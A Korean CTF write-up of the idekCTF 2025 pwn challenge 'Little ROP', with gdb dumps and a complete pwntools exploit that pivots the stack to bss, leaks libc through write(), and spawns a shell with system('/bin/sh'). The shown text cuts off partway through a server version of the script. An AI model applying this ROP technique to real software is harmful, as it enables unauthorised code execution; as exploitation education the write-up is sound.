콘텐츠로 건너뛰기

[idekCTF2025] pwn/Little ROP (브포 X, pop rdi 같은 가젯이 없음)

checksec

ubuntu@06287c6a0589:~/study/idekctf2025/LittleROP$ checksec ./chall
[*] '/home/ubuntu/study/idekctf2025/LittleROP/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Decompiled-src / Analysis

main / setup / vuln

stdin, stdout, stderr의 버퍼링을 모두 비활성화하고, 32바이트의 buf를 read를 통해 48바이트만큼 입력받는다.

따라서, 버퍼 오버플로우를 발생시킬 수 있는데 16바이트를 초과시킬 수 있어 main’s RBP, RET까지만 덮을 수 있다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  vuln();
  return 0;
}
void setup()
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
}
ssize_t vuln()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x30u);
}

Solution

1. main’s RBP를 0x404c00 주소로 덮고 main’s RET을 0x4011a9로 덮기

버퍼 오버플로우 취약점으로 rbp, ret을 모두 원하는 값으로 덮을 수 있다.

main’s rbp를 임의 bss 영역인 0x404c00 주소로 덮고, main’s ret을 main의 함수 프롤로그를 제외한 0x4011A9 주소로 덮자.

gdb-peda$ vmmap
...
**0x00404000         0x00405000         rw-p      /home/ubuntu/study/idekctf2025/LittleROP/chall**
**.text:000000000040119D vuln            proc near               ; CODE XREF: main+17↓p**
.text:000000000040119D
.text:000000000040119D buf             = byte ptr -20h
.text:000000000040119D
.text:000000000040119D ; __unwind {
.text:000000000040119D                 endbr64
.text:00000000004011A1                 push    rbp
.text:00000000004011A2                 mov     rbp, rsp
.text:00000000004011A5                 sub     rsp, 20h

BELOW CODE !!!
.text:00000000004011A9                 lea     rax, [rbp-20h]
.text:00000000004011AD                 mov     edx, 30h ; '0'  ; nbytes
.text:00000000004011B2                 mov     rsi, rax        ; buf
.text:00000000004011B5                 mov     edi, 0          ; fd
.text:00000000004011BA                 call    _read
.text:00000000004011BF                 nop
.text:00000000004011C0                 leave
.text:00000000004011C1                 retn
vuln_lea_read = 0x4011a9
add_rbp_0x3d_ebx = 0x40113c

# 1. Prepare write to where
pay = b'A'*0x20
pay += p64(0x404c00)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

이후에 A 바이트들을 채우게 된다면,

ip()
s(b"A"*0x30)

main’s rbp에 덮힌 임의 bss 영역인 0x404c00 주소로 인해, 0x404c00-0x20부터 A 바이트들이 채워진다.

즉, 임의 bss 영역 주소로 베이스 포인터를 설정했기에 해당 주소에 값이 써지는 것이다.

gdb-peda$ x/16gx 0x404c00-0x20
0x404be0:       0x4141414141414141      0x4141414141414141
0x404bf0:       0x4141414141414141      0x4141414141414141
0x404c00:       0x4141414141414141      0x4141414141414141
0x404c10:       0x0000000000000000      0x0000000000000000
...

2. call_setup을 호출시켜 libc 관련 주소 가져오기

베이스포인터를 0x404b00으로 지정하고, 리턴주소를 call_setup으로 덮어본다.

.text:00000000004011C2 main            proc near               ; DATA XREF: _start+18↑o
.text:00000000004011C2 ; __unwind {
.text:00000000004011C2                 endbr64
.text:00000000004011C6                 push    rbp
.text:00000000004011C7                 mov     rbp, rsp

**BELOW CODE !!!**
**.text:00000000004011CA                 mov     eax, 0
.text:00000000004011CF                 call    setup
.text:00000000004011D4                 mov     eax, 0
.text:00000000004011D9                 call    vuln
.text:00000000004011DE                 mov     eax, 0
.text:00000000004011E3                 pop     rbp
.text:00000000004011E4                 retn
.text:00000000004011E4 ; } // starts at 4011C2

.text:0000000000401156                 public setup
.text:0000000000401156 setup           proc near               ; CODE XREF: main+D↓p
.text:0000000000401156 ; __unwind {
.text:0000000000401156                 endbr64
.text:000000000040115A                 push    rbp
.text:000000000040115B                 mov     rbp, rsp
.text:000000000040115E                 mov     rax, cs:stdin@GLIBC_2_2_5
.text:0000000000401165                 mov     esi, 0          ; buf
.text:000000000040116A                 mov     rdi, rax        ; stream
.text:000000000040116D                 call    _setbuf
.text:0000000000401172                 mov     rax, cs:stdout@GLIBC_2_2_5
.text:0000000000401179                 mov     esi, 0          ; buf
.text:000000000040117E                 mov     rdi, rax        ; stream
.text:0000000000401181                 call    _setbuf
.text:0000000000401186                 mov     rax, cs:stderr@GLIBC_2_2_5
.text:000000000040118D                 mov     esi, 0          ; buf
.text:0000000000401192                 mov     rdi, rax        ; stream
.text:0000000000401195                 call    _setbuf
.text:000000000040119A                 nop
.text:000000000040119B                 pop     rbp
.text:000000000040119C                 retn
.text:000000000040119C ; } // starts at 401156**
# 2. Did libc related address written?
call_setup = 0x4011CA
pay = b'A'*0x20
pay += p64(0x404b00)
pay += p64(call_setup)
s(pay)
sleep(0.001)

그러면 0x7ffff7…로 시작되는 libc 관련 주소가 임의 bss 영역 주소에 써진다.

gdb-peda$ x/48gx 0x404b00
0x404b00:       0x0000000000000000      0x0000000000000000
0x404b10:       0x0000000000000000      0x0000000000000000
0x404b20:       0x0000000000000000      0x0000000000000000
0x404b30:       0x0000000000000000      0x0000000000000000
0x404b40:       0x0000000000000000      0x0000000000000000
0x404b50:       0x0000000000000000      0x0000000000000000
0x404b60:       0x0000000000000000      0x0000000000000000
0x404b70:       0x0000000000000000      0x00007ffff7fa56a0
0x404b80:       0x0000000000000000      0x00007ffff7e183f5
0x404b90:       0x0000000000000000      0x00007ffff7fa56a0
0x404ba0:       0x0000000000000000      0x0000000000000000
0x404bb0:       0x00007ffff7fa1600      0x00007ffff7e145ad
0x404bc0:       0x00007ffff7fa56a0      0x00007ffff7e0b57f
0x404bd0:       0x0000000000000000      0x00000000004011bf
0x404be0:       0x0000000000404c00      0x00007fffffffe198
0x404bf0:       0x00000000004011c2      0x000000000040119a
0x404c00:       0x0000000000404b00      0x00000000004011de
0x404c10:       0x0000000000000000      0x0000000000000000
0x404c20:       0x0000000000000000      0x0000000000000000
...

0x00007ffff7d8a000 0x00007ffff7db2000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7db2000 0x00007ffff7f47000 r-xp      /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f47000 0x00007ffff7f9f000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9f000 0x00007ffff7fa0000 ---p      /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa0000 0x00007ffff7fa4000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa4000 0x00007ffff7fa6000 rw-p      /usr/lib/x86_64-linux-gnu/libc.so.6

3. 더 많은 libc 관련 주소가 bss 영역에 남기게 하기

2번 아이디어를 응용하여 libc 관련 주소가 bss 영역에 더많이 써지도록 fengshui_libc 함수를 만들었다.

# 3. libc fengshui
def fengshui_libc():
    for i in range(5):
        pay = b'B'*0x20
        pay += p64(0x404c00+0x70*i)
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.001)

        pay = b'C'*0x20
        pay += p64(0x404900)
        pay += p64(call_setup) #setup
        s(pay)
        sleep(0.001)

fengshui_libc()

결과는 아래와 같이, 이전보다 훨씬 더 많이 libc 관련 주소가 써지게 된다.

gdb-peda$ x/96gx 0x404b00
0x404b00:       0x0000000000000000      0x0000000000000000
0x404b10:       0x0000000000000000      0x0000000000000000
0x404b20:       0x0000000000000000      0x0000000000000000
0x404b30:       0x0000000000000000      0x0000000000000000
0x404b40:       0x0000000000000000      0x0000000000000000
0x404b50:       0x0000000000000000      0x0000000000000000
0x404b60:       0x0000000000000000      0x0000000000000000
0x404b70:       0x0000000000000000      0x00007ffff7fa56a0
0x404b80:       0x0000000000000000      0x00007ffff7e183f5
0x404b90:       0x0000000000000000      0x00007ffff7fa56a0
0x404ba0:       0x0000000000000000      0x0000000000000000
0x404bb0:       0x00007ffff7fa1600      0x00007ffff7e145ad
0x404bc0:       0x00007ffff7fa56a0      0x00007ffff7e0b57f
0x404bd0:       0x0000000000000000      0x00000000004011bf
0x404be0:       0x4242424242424242      0x00007ffff7fa56a0
0x404bf0:       0x0000000000000000      0x00007ffff7e183f5
0x404c00:       0x0000000000404c70      0x00007ffff7fa56a0
0x404c10:       0x0000000000000000      0x0000000000000000
0x404c20:       0x00007ffff7fa1600      0x00007ffff7e145ad
0x404c30:       0x00007ffff7fa56a0      0x00007ffff7e0b57f
0x404c40:       0x0000000000000000      0x00000000004011bf
0x404c50:       0x4242424242424242      0x00007ffff7fa56a0
0x404c60:       0x0000000000000000      0x00007ffff7e183f5
0x404c70:       0x0000000000404ce0      0x00007ffff7fa56a0
0x404c80:       0x0000000000000000      0x0000000000000000
0x404c90:       0x00007ffff7fa1600      0x00007ffff7e145ad
0x404ca0:       0x00007ffff7fa56a0      0x00007ffff7e0b57f
0x404cb0:       0x0000000000000000      0x00000000004011bf
0x404cc0:       0x4242424242424242      0x00007ffff7fa56a0
0x404cd0:       0x0000000000000000      0x00007ffff7e183f5
0x404ce0:       0x0000000000404d50      0x00007ffff7fa56a0
0x404cf0:       0x0000000000000000      0x0000000000000000
0x404d00:       0x00007ffff7fa1600      0x00007ffff7e145ad
0x404d10:       0x00007ffff7fa56a0      0x00007ffff7e0b57f
0x404d20:       0x0000000000000000      0x00000000004011bf
0x404d30:       0x4242424242424242      0x00007ffff7fa56a0
0x404d40:       0x0000000000000000      0x00007ffff7e183f5
0x404d50:       0x0000000000404dc0      0x00007ffff7fa56a0
0x404d60:       0x0000000000000000      0x0000000000000000
0x404d70:       0x00007ffff7fa1600      0x00007ffff7e145ad
0x404d80:       0x00007ffff7fa56a0      0x00007ffff7e0b57f
0x404d90:       0x0000000000000000      0x00000000004011bf
0x404da0:       0x0000000000404dc0      0x00007fffffffe198
0x404db0:       0x00000000004011c2      0x000000000040119a
0x404dc0:       0x0000000000404900      0x00000000004011de

4. fengshui_rbp_ret / fengshui_ret_rbp trick

def fengshui_ret_rbp(base):
    for i in range(2):
        #set where to write
        pay = b'b'*0x20
        pay += p64(base+i*0x20 + 0x20) #where to where
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.001)

        #rbp reset and write
        pay = (p64(vuln_lea_read) + p64(0x404a00)) * 2 #what
        pay += p64(0x404800 + 0x20)
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.001)

def fengshui_rbp_ret(base):
    for i in range(2):
        #set where to write
        pay = b'b'*0x20
        pay += p64(base+i*0x20 + 0x20) #where to where
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.001)

        #rbp reset and write
        pay = (p64(0x404a00) + p64(vuln_lea_read)) * 2 #write to what
        pay += p64(0x404800 + 0x20)
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.001)
        
# 0. (overwrite rbp), this will used by "add    DWORD PTR [rbp-0x3d],ebx" gadget
fengshui_rbp_ret(base=0x404d90)

base 주소를 넣으면, RBP와 RET에 각각 0x404a00, 0x4011a9 주소로 여러번 쓰게 만들도록 2개의 fengshui 함수를 만들어두었다.

2개의 함수는 써지는 rbp, ret 순서만 서로 다를뿐이다.

gdb-peda$ x/32gx 0x404d90-0x10
0x404d80:       0x00007ffff7fa56a0      0x00007ffff7e0b57f
0x404d90:       0x0000000000404a00      0x00000000004011a9
0x404da0:       0x0000000000404a00      0x00000000004011a9
0x404db0:       0x0000000000404a00      0x00000000004011a9
0x404dc0:       0x0000000000404a00      0x00000000004011a9
0x404dd0:       0x0000000000404820      0x00000000004011bf

그리고 0x404d08 + 0x3d (=0x404d45)를 rbp로 지정해주는데,

pay = b'c'*0x20
pay += p64(0x404d70+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = p64(0x404d08 + 0x3d) #set rbp
s(pay)
sleep(0.001)

libc 영역에 있는 pop rbx; retn 가젯을 사용하기 위해 1바이트를 바꾸기 위해서다. 0xca로 하위 1바이트를 바꾸면 pop rbx, retn 가젯으로 향하게 만들 수 있다.

# 1. set "pop rbx; retn;" gadget (overwrite retn)
fengshui_ret_rbp(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d78+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

# .text:000000000008A5CA 5B                                      pop     rbx
# .text:000000000008A5CB C3                                      retn
pay = p8(0xca) #set gadget
s(pay)
sleep(0.001)
gdb-peda$ x/32gx 0x404d00     
0x404d00:       0x00007ffff7fa1600      0x00007ffff7e145ad
0x404d10:       0x00007ffff7fa56a0      0x00007ffff7e0b57f
0x404d20:       0x0000000000000000      0x00000000004011bf
0x404d30:       0x4242424242424242      0x00007ffff7fa56a0
0x404d40:       0x0000000000000000      0x00007ffff7e183f5
0x404d50:       0x0000000000404dc0      0x00007ffff7fa56a0
0x404d60:       0x0000000000000000      0x0000000000000000
0x404d70:       0x0000000000404d45      0x00007ffff7e145ca
0x404d80:       0x00007ffff7fa56a0      0x00007ffff7e0b57f
0x404d90:       0x00000000004011a9      0x0000000000404a00
0x404da0:       0x00000000004011bf      0x0000000000404a00
0x404db0:       0x00000000004011a9      0x0000000000404a00
0x404dc0:       0x00000000004011a9      0x0000000000404a00
0x404dd0:       0x0000000000404820      0x00000000004011bf
0x404de0:       0x0000000000000000      0x0000000000000000
0x404df0:       0x0000000000000000      0x0000000000000000
gdb-peda$ x/2i 0x00007ffff7e145ca
   0x7ffff7e145ca <_IO_new_file_setbuf+42>:     pop    rbx
   0x7ffff7e145cb <_IO_new_file_setbuf+43>:     ret 

그리고 pop rdi 가젯을 향하게 하기 위해 “add [rbp-3Dh], ebx; nop; retn;” 가젯에 의해 더해질 0x3cddc값을 임의 bss 영역에 속하는 에 0x404d80 주소에 쓴다.

.text:000000000040113C                 add     [rbp-3Dh], ebx
.text:000000000040113F                 nop
.text:0000000000401140
.text:0000000000401140 locret_401140:                          ; CODE XREF: __do_global_dtors_aux+B↑j
.text:0000000000401140                 retn
#2. set rbx value
fengshui_rbp_ret(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d80+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

# .text:00000000000C7389 5F                                      pop     rdi
# .text:00000000000C738A C3                                      retn
pay = p64(0x3cddc) #rbx value (will be added); 0x8a5ad + 0x3cddc = 0xc7389
s(pay)
sleep(0.001)
gdb-peda$ x/32gx 0x404d00
0x404d00:       0x00007ffff7fa1600      0x00007ffff7e145ad
0x404d10:       0x00007ffff7fa56a0      0x00007ffff7e0b57f
0x404d20:       0x0000000000000000      0x00000000004011bf
0x404d30:       0x4242424242424242      0x00007ffff7fa56a0
0x404d40:       0x0000000000000000      0x00007ffff7e183f5
0x404d50:       0x0000000000404dc0      0x00007ffff7fa56a0
0x404d60:       0x0000000000000000      0x0000000000000000
0x404d70:       0x0000000000404d45      0x00007ffff7e145ca
**0x404d80**:       **0x000000000003cddc**      0x00007ffff7e0b57f
0x404d90:       0x0000000000404a00      0x00000000004011a9
0x404da0:       0x0000000000404a00      0x00000000004011bf
0x404db0:       0x0000000000404a00      0x00000000004011a9
0x404dc0:       0x0000000000404a00      0x00000000004011a9
0x404dd0:       0x0000000000404820      0x00000000004011bf

ROP 체인으로 “add [rbp-3Dh], ebx; nop; retn;” 가젯을 실행시키게 만든다.

그러면 0x404d08에 pop rdi, retn 가젯인 0x00007ffff7e51389 가젯주소가 써진다.

#3. set "add [rbp-3Dh], ebx; nop; retn;" gadget
fengshui_ret_rbp(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d88+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

# set rbx
pay = p64(add_rbp_0x3d_ebx) #set gadget
s(pay)
sleep(0.001)

# run gg
pay = b'c'*0x20
pay += p64(0x404d70) #set rbp
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = b'a'*0x1
# ip()
s(pay)
sleep(0.001)

gdb-peda$ x/32gx 0x404d00
0x404d00:       0x00007ffff7fa1600      **0x00007ffff7e51389**
0x404d10:       0x00007ffff7fa56a0      0x00007ffff7e0b57f
0x404d20:       0x0000000000000000      0x00000000004011bf
0x404d30:       0x4242424242424242      0x00007ffff7fa56a0
0x404d40:       0x0000000000000000      0x00007ffff7e183f5
0x404d50:       0x0000000000404d61      0x00007ffff7fa56a0
0x404d60:       0x0000000000000000      0x0000000000000000
0x404d70:       0x0000000000404d45      0x00007ffff7e145ca
0x404d80:       0x000000000003cddc      0x000000000040113c
0x404d90:       0x00000000004011bf      0x0000000000404a00
0x404da0:       0x00000000004011a9      0x0000000000404a00
0x404db0:       0x00000000004011bf      0x0000000000404a00
0x404dc0:       0x00000000004011a9      0x0000000000404a00
0x404dd0:       0x0000000000404820      0x00000000004011bf
0x404de0:       0x0000000000000000      0x0000000000000000
0x404df0:       0x0000000000000000      0x0000000000000000

gdb-peda$ x/2i **0x00007ffff7e51389**
   0x7ffff7e51389 <____wcstoul_l_internal+105>: pop    rdi
   0x7ffff7e5138a <____wcstoul_l_internal+106>: ret  

이전 했던 작업을 떠올리면서 마저 ROP 체인을 구성한다.

이번에는 write 함수의 첫 매개변수로 rdi가 세팅될 값인 1을 쓰고,
add [rbp-3Dh], ebx; nop; retn;” 가젯을 통해 오프셋 계산으로 write 함수 주소가 적히게 만드는 것이다.

# set rop again
# 0. (overwrite rbp), this will used by "add    DWORD PTR [rbp-0x3d],ebx" gadget
fengshui_rbp_ret(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d70+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = p64(0x404d18 + 0x3d) #set rbp
s(pay)
sleep(0.001)

# 1. set "pop rbx; retn;" gadget (overwrite retn)
fengshui_ret_rbp(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d78+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

# .text:000000000008A5CA 5B                                      pop     rbx
# .text:000000000008A5CB C3                                      retn
pay = p8(0xca) #set gadget
s(pay)
sleep(0.001)

#2. set rbx value
fengshui_rbp_ret(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d80+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

# .text:0000000000114870                         write 
pay = p64(0x932f1) #rbx value (will be added); 0x8157f + 0x932f1 = 0x114870
s(pay)
sleep(0.001)

#3. set "add [rbp-3Dh], ebx; nop; retn;" gadget
fengshui_ret_rbp(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d88+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

# set rbx
pay = p64(add_rbp_0x3d_ebx) #set gadget
s(pay)
sleep(0.001)

# run gg
pay = b'c'*0x20
pay += p64(0x404d70) #set rbp
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = b'a'*0x1
# ip()
s(pay)
sleep(0.001)

# will be used rbp when run "pop rdi" gadget
fengshui_rbp_ret(base=0x404d20)

pay = b'c'*0x20
pay += p64(0x404d00+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = p64(0x404a00) 
s(pay)
sleep(0.001)

# will be used when run "pop rdi" gadget
fengshui_rbp_ret(base=0x404d20)

pay = b'c'*0x20
pay += p64(0x404d10+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = p64(1) #set rdi
s(pay)
sleep(0.001)

# set ret
fengshui_rbp_ret(base=0x404d20)

pay = b'd'*0x20
pay += p64(0x404d20+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = p64(vuln_lea_read)
s(pay)
sleep(0.001)

# run gg
pay = b'c'*0x20
pay += p64(0x404d00) #set rbp
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = b'a'*0x1
ip()
s(pay)
sleep(0.001)
gdb-peda$ x/32gx 0x404d00
0x404d00:       0x0000000000404a00 <- 덮어쓰일 rbp     0x00007ffff7e51389 <- pop rdi, retn
0x404d10:       0x0000000000000001 <- rdi valuie      0x00007ffff7e9e870 <- write 함수
0x404d20:       0x00000000004011a9 <- vuln_lea_read     0x00000000004011a9
0x404d30:       0x0000000000404a00      0x00000000004011a9
0x404d40:       0x0000000000404a00      0x00000000004011bf
0x404d50:       0x0000000000404a00      0x00000000004011a9
0x404d60:       0x0000000000404820      0x00000000004011bf
0x404d70:       0x0000000000404d55      0x00007ffff7e145ca
0x404d80:       0x00000000000932f1      0x000000000040113c
0x404d90:       0x00000000004011bf      0x0000000000404a00
0x404da0:       0x00000000004011a9      0x0000000000404a00
0x404db0:       0x00000000004011bf      0x0000000000404a00
0x404dc0:       0x00000000004011a9      0x0000000000404a00
0x404dd0:       0x0000000000404820      0x00000000004011bf
0x404de0:       0x0000000000000000      0x0000000000000000
0x404df0:       0x0000000000000000      0x0000000000000000
gdb-peda$ x/a 0x00007ffff7e9e870
0x7ffff7e9e870 <__GI___libc_write>:     0x25048b64fa1e0ff3
gdb-peda$ x/i 0x00007ffff7e9e870
   0x7ffff7e9e870 <__GI___libc_write>:  endbr64 

그러면 write 함수가 호출되어 bss 영역에 있던 libc 관련주소가 출격하게 되는데, 약간의 오프셋 계산으로 libc 베이스 주소를 구할 수 있었다.

leak = r(0x10)
leak = leak[8:8+8]
info(f"leak: {leak}")
leak = uu64(leak)
info(f"leak: {hex(leak)}")
l.address = leak - l.sym._IO_2_1_stderr_
info(f"libc base: {hex(l.address)}")

r(0x20)
ubuntu@06287c6a0589:~/study/idekctf2025/LittleROP$ python3 solve_local.py
[+] Starting local process './chall': pid 5923
[*] leak: b'\\xa0V\\xfa\\xf7\\xff\\x7f\\x00\\x00'
[*] leak: 0x7ffff7fa56a0
[*] libc base: 0x7ffff7d8a000

libc base 주소를 구했으니 system(”/bin/sh”) 해주는 ROP chain을 구성해주면 끝.

# set final rop payload !!!

retn = l.address + 0xC738A
pop_rdi_retn = l.address + 0xC7389
bin_sh = l.address + 0x1D8678
system = l.sym.system

pay = p64(pop_rdi_retn) + p64(bin_sh) + p64(system)*2
pay += p64(0x4049b8+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

s(b"win")

pi()

solve.py (Local)

#!/usr/bin/env python3

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys

p = process("./chall")
# p = remote("host3.dreamhack.games", 20548)
e = ELF('./chall',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
# l = ELF('./libc_prob.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

vuln_lea_read = 0x4011a9
add_rbp_0x3d_ebx = 0x40113c

# 1. Prepare write to where
pay = b'A'*0x20
pay += p64(0x404c00)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

# 2. 
pay = b'A'*0x20
pay += p64(0x404b00)
pay += p64(0x4011ca) #setup
s(pay)
sleep(0.001)

# 3. libc fengshui
def fengshui_libc():
    for i in range(5):
        pay = b'B'*0x20
        pay += p64(0x404c00+0x70*i)
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.001)

        pay = b'C'*0x20
        pay += p64(0x404900)
        pay += p64(0x4011ca) #setup
        s(pay)
        sleep(0.001)

fengshui_libc()

def fengshui_ret_rbp(base):
    for i in range(2):
        #set where to write
        pay = b'b'*0x20
        pay += p64(base+i*0x20 + 0x20) #where to where
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.001)

        #rbp reset and write
        pay = (p64(vuln_lea_read) + p64(0x404a00)) * 2 #what
        pay += p64(0x404800 + 0x20)
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.001)

def fengshui_rbp_ret(base):
    for i in range(2):
        #set where to write
        pay = b'b'*0x20
        pay += p64(base+i*0x20 + 0x20) #where to where
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.001)

        #rbp reset and write
        pay = (p64(0x404a00) + p64(vuln_lea_read)) * 2 #write to what
        pay += p64(0x404800 + 0x20)
        pay += p64(vuln_lea_read)
        s(pay)
        sleep(0.001)

# 0. (overwrite rbp), this will used by "add    DWORD PTR [rbp-0x3d],ebx" gadget
fengshui_rbp_ret(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d70+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = p64(0x404d08 + 0x3d) #set rbp
s(pay)
sleep(0.001)

# 1. set "pop rbx; retn;" gadget (overwrite retn)
fengshui_ret_rbp(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d78+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

# .text:000000000008A5CA 5B                                      pop     rbx
# .text:000000000008A5CB C3                                      retn
pay = p8(0xca) #set gadget
s(pay)
sleep(0.001)

#2. set rbx value
fengshui_rbp_ret(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d80+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

# .text:00000000000C7389 5F                                      pop     rdi
# .text:00000000000C738A C3                                      retn
pay = p64(0x3cddc) #rbx value (will be added); 0x8a5ad + 0x3cddc = 0xc7389
s(pay)
sleep(0.001)

#3. set "add [rbp-3Dh], ebx; nop; retn;" gadget
fengshui_ret_rbp(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d88+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

# set rbx
pay = p64(add_rbp_0x3d_ebx) #set gadget
s(pay)
sleep(0.001)

# run gg
pay = b'c'*0x20
pay += p64(0x404d70) #set rbp
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = b'a'*0x1
# ip()
s(pay)
sleep(0.001)

# set rop again
# 0. (overwrite rbp), this will used by "add    DWORD PTR [rbp-0x3d],ebx" gadget
fengshui_rbp_ret(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d70+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = p64(0x404d18 + 0x3d) #set rbp
s(pay)
sleep(0.001)

# 1. set "pop rbx; retn;" gadget (overwrite retn)
fengshui_ret_rbp(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d78+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

# .text:000000000008A5CA 5B                                      pop     rbx
# .text:000000000008A5CB C3                                      retn
pay = p8(0xca) #set gadget
s(pay)
sleep(0.001)

#2. set rbx value
fengshui_rbp_ret(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d80+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

# .text:0000000000114870                         write 
pay = p64(0x932f1) #rbx value (will be added); 0x8157f + 0x932f1 = 0x114870
s(pay)
sleep(0.001)

#3. set "add [rbp-3Dh], ebx; nop; retn;" gadget
fengshui_ret_rbp(base=0x404d90)

pay = b'c'*0x20
pay += p64(0x404d88+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

# set rbx
pay = p64(add_rbp_0x3d_ebx) #set gadget
s(pay)
sleep(0.001)

# run gg
pay = b'c'*0x20
pay += p64(0x404d70) #set rbp
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = b'a'*0x1
# ip()
s(pay)
sleep(0.001)

# will be used rbp when run "pop rdi" gadget
fengshui_rbp_ret(base=0x404d20)

pay = b'c'*0x20
pay += p64(0x404d00+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = p64(0x404a00) 
s(pay)
sleep(0.001)

# will be used when run "pop rdi" gadget
fengshui_rbp_ret(base=0x404d20)

pay = b'c'*0x20
pay += p64(0x404d10+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = p64(1) #set rdi
s(pay)
sleep(0.001)

# set ret
fengshui_rbp_ret(base=0x404d20)

pay = b'd'*0x20
pay += p64(0x404d20+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = p64(vuln_lea_read)
s(pay)
sleep(0.001)

# run gg
pay = b'c'*0x20
pay += p64(0x404d00) #set rbp
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

pay = b'a'*0x1
# ip()
s(pay)
sleep(0.001)

# obtain libc base
leak = r(0x10)
leak = leak[8:8+8]
info(f"leak: {leak}")
leak = uu64(leak)
info(f"leak: {hex(leak)}")
l.address = leak - l.sym._IO_2_1_stderr_
info(f"libc base: {hex(l.address)}")

r(0x20)

# set final rop payload !!!

retn = l.address + 0xC738A
pop_rdi_retn = l.address + 0xC7389
bin_sh = l.address + 0x1D8678
system = l.sym.system

pay = p64(pop_rdi_retn) + p64(bin_sh) + p64(system)*2
pay += p64(0x4049b8+0x20)
pay += p64(vuln_lea_read)
s(pay)
sleep(0.001)

s(b"win")

pi()

solve.py (server)

#!/usr/bin/env python3

from pwn import *
from tqdm import *

# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys
import subprocess

# p = process("./chall")
p = remote("little-rop.chal.idek.team", 1337)
e = ELF('./chall',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
# l = ELF('./libc_prob.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
